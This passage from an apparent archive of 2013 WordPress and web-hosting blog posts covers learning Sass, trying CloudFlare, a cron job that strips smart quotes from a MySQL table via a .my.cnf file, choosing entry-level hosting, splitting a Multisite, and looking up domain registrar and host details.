**What about you?**
What are your tips and tricks?
**Categories:** How It Is
**Tags:** wordcamp
---
### [Get Sassy](https://halfelf.org/2013/get-sassy/)
**Published:** December 18, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'm a little on the fence about Sass still, but it's time to get a little sassy and a little less grumpy about something new.
**Content:**
I was lucky enough to corner [Tracy Rotton](http://taupecat.com) at Contributor Day and bully her into a private “Sell me on Sass!” Class while we were both at WordCamp San Francisco. I’m a hard sell on something ‘new’ not because I hate change, but because I don’t see the point to learn something new in order to do something I’m already capable of doing. But that said, CSS and theme design aren’t my ‘thing.’ I can muddle through, but I don’t love them like I do writing.
In order of my WP skills it goes like this: writing, support, debugging, plugins, themes, databases. See how that goes? So I knew Tracy was big on this stuff, and I realized I had a perfect opportunity to get someone to explain, in a place where I could go “But why do I *care*?”
## Why *do* you care?
[Sass](http://sass-lang.com/) is an extension of CSS3, adding nested rules, variables, mixins, selector inheritance, and a ton of other stuff. For me, the nested rules earned an unimpressed face. Testing things in a ‘new’ way means I have to re-learn how to do things. And being able to define ‘font color black’ and use variables so I only have to change one thing is useless, as I’ve mastered grep and regex. Tracy laughed and then pointed out I could have Sass do the math for me.
Full stop.
If you’ve spent any time designing responsive themes (which most of us do) then you’ve probably run into the extended math part of CSS where you have to calculate font sizes, relative to each other, and then you have to sort out the percentages to make the width and height right and.. Well, I went and read [Tracy’s post about saving time with sass](http://www.taupecat.com/2012/10/using-sass-to-save-yourself-a-lot-of-time-building-responsive-websites/) later and felt way smarter for it.
But we’re still back to the fact that I don’t theme. It’s not me. So I had all this info and sat on it for a while. In fact, months. I started writing this post during WordCamp San Francisco. Next month is WordCamp Las Vegas. It’s pretty much been half a year.
What changed? [MP6](https://halfelf.org/2013/mp6uccess-tips-and-tricks/ "MP6uccess – Tips and Tricks"), or rather, the removal of MP6 and introduction of it as a core part of WordPress 3.8. Suddenly the plugin was useless. Less than useless, it broke display. So I looked at my options. I knew they were working on a plugin to bring the MP6 styles back, but right now they didn’t have my favorites and I really don’t like all black. I ripped open MP6, pulled out the `color-schemes` folder, stripped down the `colors.php` to just the part that added in more options, and thought I was done.
I was wrong. It looked ugly. It didn’t match, it was broken. And there was only one thing left I could do. It was time to get sassy!
What you nee to do this is a Sass ‘App’ – Now Coda 2 lets me edit Sass files directly, but not compile, so basically I have a nice highlighter. Booooring. There are plugins for this, and installing stand alone Sass compilers on my mac is as easy as `$ sudo gem install sass` which lets me then convert my file ala `sass-convert style.css style.scss` and now I have a sassy file! The other option, and this was where I ended up, is [CodeKit](http://incident57.com/codekit/).
Yes, I could use Grunt, Tracy, but I want to learn one things first, understand it, and move to the next. [Grunt](http://gruntjs.com/)? Yes, I need to learn it. But right now, my need was to take five scss files and convert them into the right name css files.
What it looks like is plain weird. A scss file is weird. It’s this:
```
$base-color: #523f6d;
$icon-color: #ece6f6;
$highlight-color: #a3b745;
$notification-color: #d46f15;
$form-checked: $base-color;
@import "../_admin.scss";
@import "../_colors-fresh.css";
```
And then it looks like this:
```
@import 'variables';
@import 'mixins';
{
background: $body-background;
}
/* Links */
a {
color: $link;
&:hover,
&:active,
&:focus {
color: $link-focus;
}
}
....
```
Oh wait, it also has this! … No, wait, that won’t work. It kind of goes on like that for a while, like Russian Nesting Dolls, or a TARDIS. But in essence it let me make files where I could define what the CSS became. One file is my ‘define’ file, that was the first one I showed you. The next was my `_admin.scss` file, which had two more includes and a mess of what *looks* like CSS, if CSS had variables (which you know it doesn’t).
Look. I can’t, and won’t try to explain Sass. I’d do a crap job, worse than you think I’m gearing up for here. I’ve only been seriously playing with it for about three hours. But in those three hours I went from unimpressed (I’m a hard sell) to understanding. I was able to generate fancy CSS files without have to search/replace. All I did was make a new define file, tell it to output into a folder, and I had my Ectoplasm back.
Will I be using this a lot? Maybe. I can’t say I feel it revolutionizes theming for me, and it won’t for a lot of us. When don’t *need* to be able to spin up more CSS like this, CSS is something that generally remains static. It should, in my opinion. But the point would not be on the fly fix CSS, but to build out ‘themes’ of CSS. So perhaps for Brian Gardner it might change his world (hi, Brian).
You see, every Genesis Theme comes with color ‘choices.’ Usually these are green, blue, orange/red, and purple. Imagine being able to spin up your own by making one small file, generating the CSS from that, put it in a folder in your child theme, and you’re done. Heck, if someone wanted to get really sassy they could make a plugin that would pull in special Genesis files and folders from your `wp-content`, much like we have a `languages` folder today.
```
wp-content/genesis/themename1/color-style.css
wp-content/genesis/themename2/color-style1.css
wp-content/genesis/themename2/color-style2.css
```
And so on. That could dynamically be searched for by Genesis and add in more color themes as desired. This way, I can make new styles for my theme without needing a child theme at all, or another CSS editor plugin (which is what I use today – this site is customized by mostly CSS).
But. As Otto rightly points out, this over complicates things. Can’t I just search and replace blue for teal? Sure. But having the scss in the first place means I can look and see the four places I’d need to adjust colors to make it work. Or ten. So I can very quickly spin up a custom design, and I can tuck it away where my client won’t break it.
So no, while I like Sass, and I think it’s incredibly interesting, I’m not really sure that adding code to CSS and requiring compiling will be needed for everyone. Where it’s a major selling point for WordPress core is easy to find. It lets them easily break apart the massive admin CSS files into sections, edit one at a time, and then on ‘build’ pull them all into one file, so we don’t have messy @imports all over the place.
So it’s a good idea for me to learn Sass I suppose. And Grunt. Grunt is next.
**Categories:** How It Is
**Tags:** coding, css, design
---
### [Cloud Experiment](https://halfelf.org/2013/cloud-experiment/)
**Published:** October 7, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** An experiment with CloudFlare as a cloud proxy service. I now understand it, and I can recommend it to certain people.
**Content:**
While I’ve mentioned that [I don’t ‘get’ CloudFlare](https://halfelf.org/2013/i-dont-understand-cloudflare/ "I Don’t Understand CloudFlare"), I took the time to buttonhole the guys at DreamCon and explain my issues. Many thanks to Maria Karaivanova for her presentation at DreamCon, too, which helped me a lot.
Now, in so far as a ‘traditional’ CDN (where they host my images) goes, I don’t need it, but as a Cloud *Proxy*, I both understand and like it! The deal with a proxy is pretty simple: It’s an extra firewall between your server and users. Why is this *faster*? Because they have more servers than I do, which means they can handle a DDoS better than pretty much anything on Shared Servers will ever be able to do.
Keep in mind, a VPS can handle a lot of this on it’s own. I could install Varnish and use that for caching, but it wouldn’t give me the ability to have *multiple* servers serving my content, and that’s what I’m looking for with my experiment here.
It would be remiss if I didn’t note the more well known alternatives: [Incapsula](http://www.incapsula.com/) (starts at $19.99/month), [Sucuri’s Cloud Proxy](http://labs.sucuri.net/?sucuricloudproxy) (starts at $9.99/month), [MaxCDN](http://www.maxcdn.com/) (starts at $9.99/month), and [Fastly](http://www.fastly.com/) (starts at $50/month). CloudFlare starts at ‘Free’ but its first paid offering is $20 a month for one website, $5 for each additional.
## On My Server
I use ConfigFirewall (CSF) so I had to add in the [CloudFlare IPs](http://www.cloudflare.com/ips) into csf.allow and csf.ignore. Yes, both, otherwise I got weird alert. This is pretty easy, though.
Next I installed `mod_cloudflare` because I wanted to preserve the IP address without having to muck with plugins on everything. This particular site is my ‘Not all WordPress’ site after all. The catch is if I do it all manually, I have to redo it every time I upgrade via EasyApache(Don’t judge me). I already have to do that for PageSpeed. That said, cPanel suggested I read [Installing mod\_cloudflare on cPanel](http://tltech.com/info/installing-mod_cloudflare-on-cpanel/), so I did that and then ran EasyApache:

So that was easy! By the way, [TL Tech](http://tltech.com/) is one of my standard resources. They have a lot of tricks, and I’ve bookmarked ’em.
Finally I checked out if there were issues with PageSpeed and CloudFlare. [CloudFlare says no](https://support.cloudflare.com/entries/22070181-Is-CloudFlare-compatible-with-mod-pagespeed-), but indicates the redundancy. That’s okay. I did an extra step of telling PageSpeed to not modify caching headers, as that’s something we did for DreamHost and Varnish (DreamPress!). Just add this to your .htaccess section for PageSpeed.
```
ModPagespeedModifyCachingHeaders off
```
## On CloudFlare
This was straightforward. Follow their directions and it’s fine. I went for free, and fiddled with my **Security Settings** a lot. I hate captcha. And I know, I knooooow, the users for this site will cry if they get hit by one, so I turned my security to “Essentially Off” – This is the *only way* to get rid of Captcha. Sad panda. I also turned “Browser integrity check” on for now.
In **Performance Settings**, I made Caching level “Simplified” and left the rest as default. Then I set up [PageRules](http://blog.cloudflare.com/introducing-pagerules-fine-grained-feature-co) for WordPress and my other apps. You only get *three* rules with free (and 20 with the first level plan) so I made sure to free up the admin tools.
## On my webapps
Last up, tackling purging caching. I’m far more familiar with this now, as I support a Varnish plugin that does much the same (and I did consider installing Varnish). The official CloudFlare plugin, for some reason, only serves the same purpose as `mod_cloudflare`, in that it restores IP addresses. But what I really want is a way to purge my cache with a new post. Pretend I’m saying this in that voice I used at WCSF… there’s a plugin for that: [CloudFlare Cache Purge](http://wordpress.org/plugins/cloudflare-cache-purge/).
Sadly there isn’t a similar plugin/extension for my other apps. And this is why I ended up at my current conclusion…
## Current Conclusion
Sadly, even after letting it bake for a few days I determined it wasn’t quite right for me. Everything worked, and if my site was more static, it would be perfect. But this brought up the same problem I’ve had with all caches: my *dynamic* content gets hurt.
What is static that I can and should cache? JS, CSS, font files, images. What is *not* static? Blog posts, comments that are happening all the time, fast and furious. A gallery that needs to update. A wiki that has a deadline. Worst of all, it prevented two of my apps from being able to make their own ‘static’ cache in the background. Now really that means I shouldn’t have to make my static cache at all, but this brought up another issue. Coordinated pushes of content, where four separate apps update 1-3 pages each at the same time means I need to be able to purge those pages, right away. And right now, there aren’t extensions to do that.
Of note: I noticed the *exact same problem* with Fastly and Varnish, so it’s not just CloudFlare, it’s a function of how these things are supposed to work.
What would I need to make these desirable? Basically I need a way to purge my cache on the proxy efficiently, quickly, and selectively. Now that I work on the Varnish Cache at DreamHost, I’ve seen how deep the rabbit hole can go with this, however, and I know fully how hard this is. Proxy Caching *is not* for everyone. When you have dynamic content that changes for logged in users on the fly, it’s a pain. I mean, I use PageSpeed to compress and cache CSS and JS, and I have to flush it when I update my site design. Caching your caching is always going to be tricky, unless there’s a simple, one click, way to say “I’ve updated these pages, please purge them.”
We’re not there yet.
## Recommendation
CloudFlare is pretty awesome, actually. If you’re ‘just’ running a blog on shared hosting, I would seriously consider using it, especially in light of the various DDoS attacks out there. A cloud proxy *will* help you, if you don’t have server level access to tweak mod\_security. The fact that CloudFlare gives you a ‘free’ option to test with, without having to give anyone your credit card info, makes it great for experimentation and puts it above the other proxies right now.
But with all things, keep in mind your personal usage. It’s not just “Does this make my site run faster?” but it’s a lot of “Does this make my usage of my site better?” For me, they win on the first and fail on the second. Maybe one day I’ll change my workflow so cloud proxy, or Varnish, can be the answer, but that’s not today.
**Categories:** How It Is, How To
**Tags:** administration, coding, performance, software
---
### [MySQL - my.cnf](https://halfelf.org/2013/mysql-my-cnf/)
**Published:** September 30, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Saving some manual labor with cron, bash scripting, and a config file.
**Content:**
This is a fairly rare file, and one I never would have found had I not needed to run a standard SQL process via cron.
*Names have been changed to protect the innocent.*
As the story goes, no matter what I did, I could not get this one app to stop spewing out ‘smart’ quotes. You know the fancy apostrophes and quotes that curl? Well, that’s not normally a problem, like in WordPress I’d just filter it out, but in this locked down system, I didn’t have that option. I called the vendor, and they said “Make sure you don’t paste in smart quotes.”
That was all fine and dandy for *me* but I’m not the master of the universe like that. Well, not all the time. I had people to input data for me! They were going to have to manually take the forms (Word Docs), filled in by non-techs, and copy the data into the right places in the app. And you want me to tell them they have to fix this for the non-techs? I thought about how much time that would take, and decided the *best* fix was to change the forms! Right?
If you’ve ever worked for a major company, you know why this was about as effective as aspirin for a root canal. No deal. So I decided to get inventive.
The only time this was a problem, these ugly quotes, was when we ran our weekly reports. This was how I found out about it, a manager complained that there was garbage instead of quotes on the form titles. Ergo: All I need to do is script something to clean them out!
Enter SQL!
```
# REPLACE SMART QUOTES WITH STUPID ONES
# FIRST, REPLACE UTF-8 characters.
UPDATE `secretapp_table` SET `formtitle` = REPLACE(`formtitle`, 0xE2809C, '"');
UPDATE `secretapp_table` SET `formtitle` = REPLACE(`formtitle`, 0xE2809D, '"');
# NEXT, REPLACE their Windows-1252 equivalents.
UPDATE `secretapp_table` SET `formtitle` = REPLACE(`formtitle`, CHAR(147), '"');
UPDATE `secretapp_table` SET `formtitle` = REPLACE(`formtitle`, CHAR(148), '"');
```
In my testing, if I ran that on formtitle, it cleaned it up for the report. This was a default report in the app, by the way, not something I had any control to change. And you wonder why I love open source? Anyhow, once I knew how this would work, I sent about scripting it. I couldn’t hook into any triggers on the app, though, because they don’t like to make it easy.
Fine, I decided. A crontab time it is! I made this simple script to run at midnight, every night, and clean up the DB:
```
#! /bin/bash
mysql -h "dbname-secretapp" "secretapp_db" < "quotecleaner.sql"
```
It worked when I ran it by hand, but it failed when cron’d. This took me some headbanging, but after reading up on how SQL works, I realized it worked when I ran it as me because I’m me! But cron is not me. I have permissions to run whatever I want in my database. Cron does not. Nor should it! So how do I script it? I don’t want the passwords sitting in that file, which would be accessible by anyone with the CMS to update it.
I went around the corner to my buddy who was a DB expert, and after explaining my situation (and him agreeing that the cron/sql mashup was the best), he asked a simple question. “Who has access to log in as you?” The answer? Just me and the admins. The updating tool for our scripts was all stuff we ran on our PCs that pushed out to the servers, so no one but an admin (me) ever logged in directly.
He grinned and wrote down this on a sticky “.my.cnf”
Google and a Drupal site told me that it was a file that was used to give the mysql command line tools extra information. You shove it in the home directory of the account, and, well, here’s ours:
```
# Secret App user and password
user=secretapp_user
password=secretapp_password
```
The only reason I even remembered all this was because an ex-coworker said he ran into the documentation I left explaining all of this, and was thankful. He had to have it scan the body of the form now, because the managers wanted *that* in the report too!
**Categories:** How To
**Tags:** coding, cron, database, unix
---
### [Entry Level Hosting](https://halfelf.org/2013/entry-level-hosting/)
**Published:** September 17, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What kind of hosting do I need? How do I know which one is right? Let's start by understanding what entry level is and is not.
**Content:**
I’m going to preface this entire post with a statement that may annoy my boss: I don’t care who you pick for a webhost, I care that you pick the right host *for your needs*. With that in mind, I won’t be naming hosts by name.
But explaining what that means is complicated and weird, so let’s go through the ‘entry level’ hosts and what all this means for you, but also for your clients. After all, part of helping people get set up on a new webhost means actually helping them figure out what they need, and getting it installed
## What is an ‘Entry Level’ Host Anyway?
The basic definition here is the smallest, cheapest, least robust hosting you can possibly get.
In general, this is where we all start. We need inexpensive hosting because we don’t know how much the site we’re proposing to build is going to need. To be honest, I detest being asked to ‘spec’ something with regards to hosting. “How much do I need to run a community site for..” Couldn’t tell ya. In fact, really, no one can tell you. It’s like “How much gas do I need to drive from Chicago to Cleveland?” I did it on one tank in my car, but my cousin stops three times. It’s got to do with gas milage, engines, traffic, and weather (gas expands and contracts, etc etc).
So starting out entry level for most of us is just fine. In fact, I recommend it. They can run as low as $4 a month, though I tend to point out “You get what you pay for.” [Otto once said](http://ottopress.com/2011/how-to-cope-with-a-hacked-site/) “Look here, if you’re paying less than $300 a year to run a website, then why bother? How serious are you about your website anyway?”
Paying $50 a year for a website is the cost of about 12 lattes from an overpriced coffee house. It’s around five pounds of decent-to-good coffee beans. It’s just over one tank of gas for a larger car. If your website is your life, and not a hobby, this is too cheap. And yes, I work for a company who has low cost hosting. The hosting is *not* the only cost, though, so when I say “Spending $300 a year is reasonable.” I’m not just talking about the host. We’ll get to that in a second.
## What am I paying for?
The basics. Space on a server with access to the internet. PHP, SQL, email, and some sort of ‘control panel.’ You’ll pay around $8-10 minimum for a host with cPanel or Plesk. Less if they made their own (or have a deal). You’ll also have limits, even if they say ‘Unlimited,’ and let’s talk about that for a moment.
Unlimited does not mean there are no rules, so put your shirt back on. In general, unlimited means “We’re not going to give you all sorts of nit-picky rules about how many images you can have, or how much CPU you can use, because those things are nigh impossible for you to understand. Instead, we’re going to make sure you don’t do things that will crash the server, and if you do, we’ll tell you.” So while there are no ‘limits’ there is ‘monitoring.’
Someone is going to say “Then there *are* limits!” and in a way, yes. But the trick is those limits change based on your neighbors. Allow me to explain with an analogy. When you’re in college, it’s okay to be noisy at weird hours at the frat house because the acceptable noise level is higher. When you’re living in an apartment in the city, though, suddenly you have neighbors who work the night shift, and you have to be quieter. Shared hosting, the cheap seats, are very much where you need to be quieter, respect your neighbor, and don’t do your laundry at 2am.
In addition, you’re paying for server and service support. Email not working? PHP needs upgrading? Those are things your host can, and should, do for you. Got a weird question like “Is httpd.conf set up with AllowOverride All or AllowOverride Options All?” A good host will have the answer! They’ll help you get to your error logs and maybe, maaaybe, if they’re not super busy, help you read them.
## What am I not paying for?
Rock-solid Backups. Dear holy monkey socks, please make your own backups. I cannot stress this enough. Look, here’s the deal. *No one cares about your data more than you do*. Okay? So when you find out that some plugin you’re using doesn’t sanitize data, and Bobby Tables signs up for your site, you don’t feel like this schoolboard:
[](http://xkcd.com/327/)
Why? Because if you have a backup taken every day, you can restore and only lose a little data! Then you can perhaps convince Mrs. Roberts to be so nice as to help you figure out what went wrong. But regardless, your data, the important stuff, is safe.
Also, you’re not paying your host’s support people for consultant level work, you’re paying them to keep your web*server* up and running. That means if PHP, SQL, email and the like are working? Hey, your website sucking is actually not their problem. Now, most hosts are nice and will bail you out a little, but they won’t be coding your site, and surprisingly to many, if WordPress gets hacked, they won’t reinstall for you. There’s a line here. If your **server** is hacked, most hosts will fix it. If your webapp is hacked, often they will not. So some of your $300 a year may end up going to someone like [Sucuri](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb) for a bail out ($89.99 a year? It’s worth it).
Finally you’re not paying them to have an opinion. This is weird to say, but I get a lot of emails at work asking me for my opinion on their site. “Does this look okay?” You know … I don’t know, and to a degree, I don’t care. You really don’t want my opinion on your penis appreciation website (not a joke), and that’s okay. You’re also not paying the host to make your design prettier. Again, not consultants.
## But .. How do I know this is all right for me?
Entry level is barebones stuff. And that’s not bad, it’s just what it is. Be prepared for it, and one day you’ll outgrow it… but that’s another post. Entry level is right for you if you’re new, if you want to get started and play around, if you want to *learn*. It’s great for beginners, and unless you get that nastygram from your host telling you that you crashed the server (which yes, I have had happen to me), you’re fine on it for a long time!
Should you run your company’s entire business off shared hosting? No. This is the basics, and expect to run the basics on it, and little more.
**Categories:** How It Is
**Tags:** administration, essay, hosting
---
### [Breaking Up Multisite](https://halfelf.org/2013/breaking-up-multisite/)
**Published:** August 27, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Multisite may not want to quit you, but you can force it to release one site on your network if you try.
**Content:**
This is by no means the be-all and end-all of how to break up a Multisite. These are, however, methods I’ve used to move Multisites around into brand new places. As always, if you have another method, feel free to explain in the comments, and link back to your own tutorials!
You see, Multisite is great at some things, but breaking up is crazy hard to do. If you want to just [disable multisite](http://wpmututorials.com/how-to/how-to-disable-multisite/), it’s not too bad, four steps, and the hardest is to delete the right tables. And if you want to [*move* a whole multisite](https://halfelf.org/2012/moving-wordpress-multisite/), it’s not terrible either.
But. What happens when you want to move only one site on the network?
Usually I see this happen when someone is developing a site for someone else, and thinks it’ll be ‘easier’ to do it on their Multisite. After all, the site will be ‘visible’ but clearly a development site, and remote clients can take a look all they want. The minority of people I see doing this for just themselves, knowing the site won’t ever need to be on a Multisite, but taking the ‘easy’ way out. And to them I suggest developing locally, as domain.dev, and then a blanket search/replace on ‘domain.dev’ for ‘domain.com’ when you’re ready to move. Then there is a small group of people who have a multisite installed on localhost for development, which … no. Don’t. It’s localhost. Spin up a new instance of WordPress.
And still, while I lament the shortsighted nature of these things, there *are* clear-cut use-cases for this that people just can’t predict. Like the day you wake up and realize that Ennis and Jack can stay on `brokebackblog.com`, but maybe you should move the Hulk.(Ang Lee directed both movies.) Now you have a dilemma. Do you rebrand `brokebackblog.com` as `angleefilms.com`? Maybe you just domain map `brokebackblog.com/hulk` to `hulksmashblog.com` or maybe, maybe, you don’t want to run the Hulk blogs at all, but your friend Eric does. Certainly there are always options to splitting up a Multisite, yet for the sake of this post, you have decided that Eric (who has bought `hulksmashblog.com`) should have the whole site, all the posts and users, and you don’t want it on your server at all!
Now what?
## Uber Easy: Export and Import
This is straightforward. Install your new stand-alone WordPress instance, export the posts from `brokebackblog.com/hulk`, import them into `hulksmashblog.com`, customize the theme and plugins, done. If you don’t have a lot of users, this is the best bet. Yes, you’ll lose a lot of time resetting all the plugins and theme configs, but you probably had to do some of this anyway. All your comments come with, all your images too, so it’s going to be straightforward.
A couple more things to keep in mind. User passwords will need to be reset, which is trivial in my experience, and a good idea anyway if you want to enforce good passwords. Many new themes are getting great at allowing you to export theme settings, so that may ease the pain as well. The plugin settings really are the biggest hassle to me, but in the long run, I’ve found that having to reset them isn’t horrible since the new home usually is a little different from the old one.
Finally, you’ll probably need to search/replace your posts to compensate for the new image location. I prefer [Velvet Blues Update URLs](http://wordpress.org/plugins/velvet-blues-update-urls/), but sometimes I use .htaccess to redirect instead. If you’re moving from an older Multisite, your images will all point to `/files/`, but newer ones are in `/wp-content/uploads/sites/#/` instead. Of course, [wp-cli](http://wp-cli.org/) make it even easier, and I use it all the time when moving people at work.
```
$ wp search-replace brokebackblog.com/hulk hulksmashblog.com
```
That’s right now my favorite command. It updated everything, with serialization handled safely, and I was done. If I can’t use that, I’ll grab [the interconnectit search/replace tool](https://github.com/interconnectit/Search-Replace-DB) (not just for WordPress) and run that instead, but for me, I install WP-CLI pretty much everywhere now. It’s just so easy!
## Ugly Complex: Database Dancing
When you’ve got a more complex situation, like a heavily customized and themed site, with lots of users and content, then you may have to do this the hard way. As before, make your new stand-alone instance of WordPress. Copy down all the plugins and the theme from your multisite, same as before. Instead of importing the content via an XML file, though, we’re going to import the following *database* tables as well as all the media images. Remember, no import, no media import, so you must SFTP them all over.
Then the DB Tables you need are as follows:
```
wp_x_*
wp_user
wp_usermeta
```
This means you need to know your site number (not too hard, [you know how to make them show up](https://halfelf.org/2011/site-id-columns-multisite/ "Show Site ID Columns in MultiSite"), right?), but don’t think it stops here! Now you have to rename tables. There are two directions to go. One is to rename all the `wp_x_` tables to `wp_`, and the other is to rename the other two tables to `wp_x_user` and `wp_x_usermeta` instead.
Either way you get to fuss even more. And don’t forget what I talked about in [Recovering Your Cape](https://halfelf.org/2013/recovering-your-cape/): If your tables are named `wp_x_` then you MUST have a field called `wp_x_user_roles` in `wp_x_options`, or no one will have any permissions at all. This almost makes it easier to think “Well I should just add in \_x right?” You’d think, but then you’re stuck with this funny prefix you have to account for in your wp-config.php file, and you also have to consider what if `hulksmashblog.com` later wants to make itself a multisite. Be nice to the next guy. I would rename the tables, and then run a search/replace for `wp_x_` and `wp_` using wp-cli or that script.
Now you’re still not done though. You actually moved over *all* of your users. That means you have a bunch that don’t have any posts. Go to the /users.php screen and sort by number of posts. Nuke everyone who doesn’t have any posts. Of course… what if they had comments and you want to keep that? Sadly that’s not listed. The comments table isn’t tied in to the users table in a easy to calculate way. But remember, deleting a user won’t delete the comment.
Finally, remember you changed the domain name? Do that again, like you did with an import export.
## To The Pain: Moving Your Main Site
Ow. Ow. Okay, Jake, here’s where we get messy. There are just too many options to consider, so let’s look at them briefly.
First, if you want to keep the main site at its current location (domain etc), then you want to actually move all the *other* sites and then [disable multisite](http://wpmututorials.com/how-to/how-to-disable-multisite/).
However, if you want to keep the domain as a multisite and give the main site it’s own, new, home, you’ll want to switch out the main site for a subsite (detailed in [WordPress Multisite 110 – around page 80](https://halfelf.org/ebooks/wordpress-multisite-110/)), and *then* move it per one of the other ways… except remember the site number stays as ‘1’ which is to say ‘none’ so you’ll be moving `wp_*` and *only* the ones for the site, not the network (which you can’t delete unless you feel like breaking everything).
Finally, and this one boggles my mind, you want to keep the multisite, and all the sites, but separately. You can see there’s no quick fix for this. Move ’em all manually, and have a beer when you’re done, cause it ain’t fast.
## Worse….
There’s *more*? Just a little bit. Keep in mind that any network settings won’t copy over, so W3TC and WordPress SEO, just to name two popular plugins, have network wide settings. Those don’t magically come with, you’ll have to re-build all of that. With W3TC, you should be able to export the settings, but maybe not. Other plugins too may prove problematic. What about BuddyPress? That would pretty much have to be a table-copy over. At least bbPress should be easier, as it’s all CPTs.
Obviously the more layers you get into with this, the messier it gets. Me? I try to do the age old export/import whenever possible.
**Categories:** How To
**Tags:** administration, multisite, wordpress
---
### [Whois On First](https://halfelf.org/2013/whois-on-first-know-your-website-details/)
**Published:** August 19, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Three simple things everyone who has a website should know. Of course, they're not that simple, are they?
**Content:**
Sometimes when I’m helping people out with their website, I feel like I’ve walked into an old Vaudeville act and we’re trying to figure out the answer to a question they don’t understand. The Internet gets newcomers every day and my conversations feel like this:
> Ipstenu: Strange as it may seem, they give computer terms nowadays very peculiar names.
>
> Costello: Funny names?
>
> Ipstenu: Code names, geek names. Now, to figure out everything about your site, we start with `whois` on first, What’s Your Host is second, I Don’t Know your app is third —
For those of you who have never listened to Abbot and Costello do “Who’s On First” you need to take a moment to watch their televised episode “From The Actor’s Home” in 1953, [the complete Who’s On First](https://www.youtube.com/watch?v=kTcRRaXV-fg).(I grew up listening to them on the radio in reruns on KNX in the 1980s, and its safe to say that my concept of humor comes more from them than modern TV.)
So when I run into these people who are brand spanking new to the web (yes, they exist), I’m a little annoyed when I find they are totally at a loss at what they actually need to know in order to keep their website up and running. In part this is because the people who build the sites aren’t ‘consultants’ but friends and they just do the needful and move on. Those friends mean well, I’m one of them, but when you make a site for someone else, you have a *responsibility* to them that they know what the heck they’ve got. Otherwise, you’re not as good a friend as you thought.
But if you’re that newbie, what *do* you need to know to run your website? Three basic things! Whois! What is! Know is!
- Your Domain Name: Whois On First
- Your Web Host(s): What’s Your Host
- What’s Running Your Website: I Don’t Know Your App
That’s it. Three simple things. But in reality, they’re not that simple. And worse, the person who bought them is, technically speaking, the person who owns them. So if someone *else* bought your domain name for you, they own it. Not you. They have full, legal, rights to do whatever they want with it. Same goes for your hosting. It’s *very* important you put close attention to who is paying for your site, because if it’s *not* you, it should be. Don’t let your friends or consultants or developers buy these things for you, because then, legally, it’s theirs, and no amount of begging to a webhost or registrar will get them to give it to you.
But let’s get into the details.
### Your Domain Name: Whois On First
You know this, right? I’m looking at halfelf.org right now. But do you know *where* it’s registered?
The domain name registrar is the company you paid to ‘reserve’ the domain name. It’s like your phone number. You paid AT&T to buy the number, and you can keep it as long as you want. But unlike the phone company where you pay for the number and the phone service, you may not be paying for both domain name and hosting in one go. In fact, many of us like to separate our host and our domain name, so if the host goes down, we can point the domain somewhere else.
The ownership of the domain name is important, because if you don’t own it, whomever does can point it wherever they want. This happens, from time to time, when domains expire. Someone will snipe the domain (i.e. buy it when you’ve forgotten to renew) and take it. And there is very little (if anything) you can do about it.
How do you find who your registrar is? It’s not that easy. If you use a tool called WHOIS to pull up the information, you’ll find a lot about a domain. For example, [here’s what you can find for halfelf.org](http://www.domaintools.com/halfelf.org):
```
Domain ID:D165216955-LROR
Domain Name:HALFELF.ORG
Created On:06-Apr-2012 13:52:55 UTC
Last Updated On:06-Jun-2012 03:50:37 UTC
Expiration Date:06-Apr-2014 13:52:55 UTC
Sponsoring Registrar:eNom, Inc. (R39-LROR)
Status:CLIENT TRANSFER PROHIBITED
```
I removed some of the lines, because my information is **WhoisGuard Protected**. Normally it shows phone numbers, addresses, and so on. By law, you have to keep that stuff up to date and correct. Most of us forget. But none of that actually tells me what I need to know. See, I know who my registrar is, but all I see is “Sponsoring Registrar:eNom, Inc.” and that actually isn’t it.
Except it is.
My domain registrar is NameCheap, and NameCheap is both an eNom reseller and an ICANN-accredited registrar. I know, that was Greek, but what it means is there’s a list of people who are allowed to sell domain names, and this is the [ICANN-accredited registrar](http://www.icann.org/registrar-reports/accredited-list.html) and on there you will find both NameCheap and DreamHost, as well as Automattic (aka WordPress.com) and so on. So if they’re listed, why does my WHOIS show as eNom? Because they’re using eNom. Now as a separate example is my domain **elftest.net**, which shows up as NEW DREAM NETWORK, LLC. And that is, in this case, where I registered it.
If you get eNom as your registrar, don’t worry, you can easily find out who your actual registrar is via their [reseller lookup tool](http://www.enom.com/help/reseller_lookup.asp). Toss halfelf in there, and you’ll see it’s NameCheap. Whew!
### Your Web Host: What’s Your Host
 This is the company you pay monthly (most of the time) to host your site. They generally have your email, too, though some people use Google’s Gmail ($5/year, yes, it used to be free). The Web Host is where your website ‘lives.’ All the files, all the pictures, all the email. It’s really easy to see who your host is, thanks to tools like WhoIsHostingThis.com, which can tell you that [HalfElf is hosted on LiquidWeb](http://www.whoishostingthis.com/halfelf.org).
If you can’t tell, this is pretty simple to suss out, but also very important to know. And just because you know who your host is does not mean you know the user account or passwords associated with it. If you are the person who pays the bills, you will always be able to get the account back by using your credit card info, but really this is something you should be keeping track of, because if you’re *not* paying for it, you’ll never ‘get it back.’ It wasn’t actually yours to begin with.
Speaking as a web host, the question I hate to hear the most is “I don’t have my login information for you guys, can you give it to me?” For what I think are pretty obvious reasons, unless you can prove you’re you, no we cannot hand you access. You need to know the login ID, the email address, the physical address/name of the owner, or some credit card into, in order to prove you’re you. You are not Gracie Allen, after all.
### What’s Running Your Website: I Don’t Know Your App
This is the ‘what runs my site?’ one, and I am often amused by people who don’t know they’re using WordPress. Why amused? Because it’s at the bottom of every page, it’s on my login page, and … well it’s there. I don’t advocate removing all traces of WordPress from the site, because when you’re trying to figure out ‘what’ runs your site, these are helpful clues.
Even if you don’t use it, you should know what it is. Check if your site has a ‘readme.html’ page like . Drupal has a README.txt (see for example), and MediaWiki just uses README (see for one). So you may need to try multiple variations until you find one.
Of course, complicating that is the possibility of custom code. If your site is just plain HTML, hey, awesome. It’s easy and flexible and you’ll be fine. But the custom stuff, where someone comes up with cool ways to do things and doesn’t document them… this is why I like Web Apps, personally. Someone’s documented, or if not, there are other people who know how to help me.
### What else?
What do you consider a ‘must know’ when you’re hosting a site? One thing that’s always interesting to ponder is “Where does my email live?” When I host other people’s sites, I tend to put their email on Google or another email only service, since that makes ‘moving’ way easier. Never assume people will want to have their files with you forever.
